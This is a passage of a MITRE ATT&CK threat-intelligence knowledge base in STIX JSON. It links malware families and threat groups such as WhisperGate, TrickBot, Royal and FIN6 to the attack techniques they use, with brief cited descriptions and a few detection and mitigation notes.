2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f08c1f67-485b-4ebd-81dd-e886f63025e6","type":"relationship","created":"2017-05-31T21:33:27.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"}],"modified":"2019-04-10T15:59:09.273Z","description":"(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0963c9d-076b-41a5-8034-a10f3cbaf657","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor for the activation or invocation of a container (ex: docker start or docker restart)","source_ref":"x-mitre-data-component--5fe82895-28e5-4aac-845e-dc886b63be2e","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f0966da3-d23d-4949-99d6-ddc680f4a5f3","created":"2022-10-13T16:35:26.209Z","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:35:26.209Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) has been installed via `msiexec.exe`.(Citation: Korean FSI TA505 2020) ","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f097324d-6665-4d2d-8d84-eb05bada0dd3","type":"relationship","created":"2019-05-14T16:58:13.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","source_name":"Kaspersky StoneDrill 2017"}],"modified":"2019-06-07T20:52:37.051Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) can take screenshots.(Citation: Kaspersky StoneDrill 2017)\t","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f097444b-fa65-4457-943c-5061e29f9ef0","type":"relationship","created":"2020-09-09T15:57:51.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.","url":"https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf","source_name":"Visa FIN6 Feb 2019"}],"modified":"2020-09-09T15:57:51.673Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used the Stealer One credential stealer to target web browsers.(Citation: Visa FIN6 Feb 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f099adef-7e4e-4b52-b4fa-27f7db8389f3","created":"2022-03-10T18:27:19.338Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"},{"source_name":"Unit 42 WhisperGate January 2022","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family"},{"source_name":"Microsoft WhisperGate January 2022","description":"MSTIC. (2022, January 15). Destructive malware targeting Ukrainian organizations. Retrieved March 10, 2022.","url":"https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"},{"source_name":"Medium S2W WhisperGate January 2022","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.867Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can download additional stages of malware from a Discord CDN channel.(Citation: Microsoft WhisperGate January 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f09c9f4a-345f-4352-aaba-7b0b0a24085c","type":"relationship","created":"2021-08-03T14:32:34.523Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-10-16T01:24:29.274Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) has used folder icons for malicious files to lure victims into opening them.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f09f6c15-193c-406a-ab64-bf730d83f39f","type":"relationship","created":"2020-05-06T15:26:38.799Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert PLEAD Downloader June 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."}],"modified":"2020-05-06T15:26:38.799Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) has used RC4 encryption to download modules.(Citation: JPCert PLEAD Downloader June 2018)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f0a36615-b3eb-47d5-8a2a-9d7429643a0a","created":"2023-03-31T20:31:09.627Z","revoked":false,"external_references":[{"source_name":"Cybereason Royal December 2022","description":"Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.","url":"https://www.cybereason.com/blog/royal-ransomware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T20:31:09.627Z","description":"[Royal](https://attack.mitre.org/software/S1073) can use `GetCurrentProcess` to enumerate processes.(Citation: Cybereason Royal December 2022)","relationship_type":"uses","source_ref":"malware--802a874d-7463-4f2a-99e3-6a1f5a919a21","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0a42be5-d7ec-475e-a9cd-2c4728153bb8","type":"relationship","created":"2021-09-21T17:02:09.753Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T18:46:08.939Z","description":"[Turian](https://attack.mitre.org/software/S0647) can scan for removable media to collect data.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0a74237-9a46-4ea8-a268-3ac87f593ea9","type":"relationship","created":"2020-12-29T21:32:28.166Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JoeSecurity Egregor 2020","url":"https://www.joesandbox.com/analysis/318027/0/html","description":"Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021."},{"source_name":"NHS Digital Egregor Nov 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary","description":"NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."}],"modified":"2021-01-07T20:28:30.126Z","description":"[Egregor](https://attack.mitre.org/software/S0554) can perform a language check of the infected system and can query the CPU information (cupid).(Citation: JoeSecurity Egregor 2020)(Citation: NHS Digital Egregor Nov 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0a78f8e-9d04-40d7-b0ce-6a463af4b8e1","type":"relationship","created":"2020-05-06T21:01:23.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.463Z","description":"[Attor](https://attack.mitre.org/software/S0438)'s dispatcher has used CreateProcessW API for execution.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f0a91093-3827-49b0-82c4-a1c882f074cf","created":"2019-09-24T12:59:58.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos ZxShell Oct 2014","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.","url":"https://blogs.cisco.com/security/talos/opening-zxshell"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.552Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has a feature to capture a remote computer's keystrokes using a keylogger.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0b00a47-9d63-4d05-b771-022a21a4ed06","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-04-22T22:31:38.358Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) achieves persistence by using various Registry Run keys.(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0b3c919-bf39-4bc9-9488-5f30d5407c54","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html","description":"valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.","source_name":"aptsim"}],"modified":"2020-02-11T15:47:36.311Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has been known to create or enable accounts, such as support_388945a0.(Citation: aptsim)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0b6fe64-e138-42c9-9cc7-896467dc26f8","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Umbreon Trend Micro","description":"Fernando Mercês. (2016, September 5). Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"}],"modified":"2020-03-16T19:09:40.039Z","description":"[Umbreon](https://attack.mitre.org/software/S0221) creates valid local users to provide access to the system.(Citation: Umbreon Trend Micro)","relationship_type":"uses","source_ref":"malware--3d8e547d-9456-4f32-a895-dc86134e282f","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f0bc91e4-e8bd-4409-93a6-bf58b13bcf67","created":"2024-09-17T14:43:46.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"cisco dhcp snooping","description":"Cisco. (n.d.). Configuring DHCP Snooping. Retrieved September 17, 2024.","url":"https://www.cisco.com/en/US/docs/general/Test/dwerblo/broken_guide/snoodhcp.html#wp1120427"},{"source_name":"specter ops evil twin","description":"Ryan, Gabriel. (2019, October 28). Modern Wireless Tradecraft Pt I — Basic Rogue AP Theory — Evil Twin and Karma Attacks. Retrieved September 17, 2024.","url":"https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T14:46:41.157Z","description":"Monitor for network traffic originating from unknown/unexpected hardware devices. Local network traffic metadata (such as source MAC addressing), as well as usage of network management protocols such as enabling DHCP snooping, may be helpful in identifying rogue hardware.(Citation: cisco dhcp snooping) Additionally, wireless pentesting hardware is often limited to older 802.11 protocols such as 802.11g or 802.11a.(Citation: specter ops evil twin)","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--48b836c6-e4ca-435a-82a3-29c03e5b492e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0c53ce3-a265-4da9-a553-c5f2faffa5b8","type":"relationship","created":"2019-04-22T22:40:41.125Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2019-04-22T22:40:41.125Z","description":"[Proxysvc](https://attack.mitre.org/software/S0238) can overwrite files indicated by the attacker before deleting them.(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f0c57085-ccd9-48d1-b35d-1b0f1ba80e96","created":"2022-10-18T22:49:06.812Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T22:49:06.812Z","description":"Application developers uploading to public code repositories should be careful to avoid publishing sensitive information such as credentials and API keys.","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0c94372-2818-46ff-899c-0c57fe0af46a","type":"relationship","created":"2019-06-18T17:20:43.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black JCry May 2019","url":"https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/","description":"Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."}],"modified":"2019-06-30T23:03:26.090Z","description":"[JCry](https://attack.mitre.org/software/S0389) has been observed deleting shadow copies to ensure that data cannot be restored easily.(Citation: Carbon Black JCry May 2019)\t","relationship_type":"uses","source_ref":"malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f0cd78a8-82ce-47e8-9ecc-beaaf34248c2","created":"2024-09-25T18:30:31.209Z","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T18:30:31.209Z","description":"[Play](https://attack.mitre.org/groups/G1040) demands ransom payments from victims to unencrypt filesystems and to not publish sensitive data exfiltrated from victim networks.(Citation: CISA Play Ransomware Advisory December 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0cf3ea2-5345-48d7-9685-be0180eb0e4a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:16.669Z","description":"[RTM](https://attack.mitre.org/software/S0148) can obtain information about process integrity levels.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0d218a3-9f7b-4f21-aa4a-34dc25f05b61","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Netsh","description":"Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.","url":"https://technet.microsoft.com/library/bb490939.aspx"},{"source_name":"TechNet Netsh Firewall","description":"Microsoft. (2009, June 3). Netsh Commands for Windows Firewall. Retrieved April 20, 2016.","url":"https://technet.microsoft.com/en-us/library/cc771046(v=ws.10).aspx"}],"modified":"2020-03-28T01:00:55.119Z","description":"[netsh](https://attack.mitre.org/software/S0108) can be used to discover system firewall settings.(Citation: TechNet Netsh)(Citation: TechNet Netsh Firewall)","relationship_type":"uses","source_ref":"tool--5a63f900-5e7e-4928-a746-dd4558e1df71","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0d8c9a9-48bb-4369-9631-f33fe2aa189e","type":"relationship","created":"2022-03-26T03:47:58.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"modified":"2022-03-26T03:47:58.881Z","description":"[Mythic](https://attack.mitre.org/software/S0699) supports domain fronting via custom request headers.(Citation: Mythc Documentation)\t","relationship_type":"uses","source_ref":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","target_ref":"attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f0dd2703-4846-47b5-a8d8-471f70f9968e","created":"2019-06-24T19:15:06.328Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Trickbot Nov 2018","description":"Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/"},{"source_name":"Cyberreason Anchor December 2019","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware"},{"source_name":"Bitdefender Trickbot VNC module Whitepaper 2021","description":"Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot’s Ever-Improving VNC Module. Retrieved September 28, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:45:32.497Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can obtain passwords stored in files from web browsers such as Chrome, Firefox, Internet Explorer, and Microsoft Edge, sometimes using [esentutl](https://attack.mitre.org/software/S0404).(Citation: Trend Micro Trickbot Nov 2018)(Citation: Cyberreason Anchor December 2019)(Citation: Bitdefender Trickbot VNC module Whitepaper 2021)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f0df2494-6465-4bd1-9a57-7d93666bba4c","created":"2024-03-29T12:39:48.593Z","revoked":false,"external_references":[{"source_name":"Obfuscated scripts","description":"Microsoft. (2024, March 4). Attack surface reduction rules reference. Retrieved March 29, 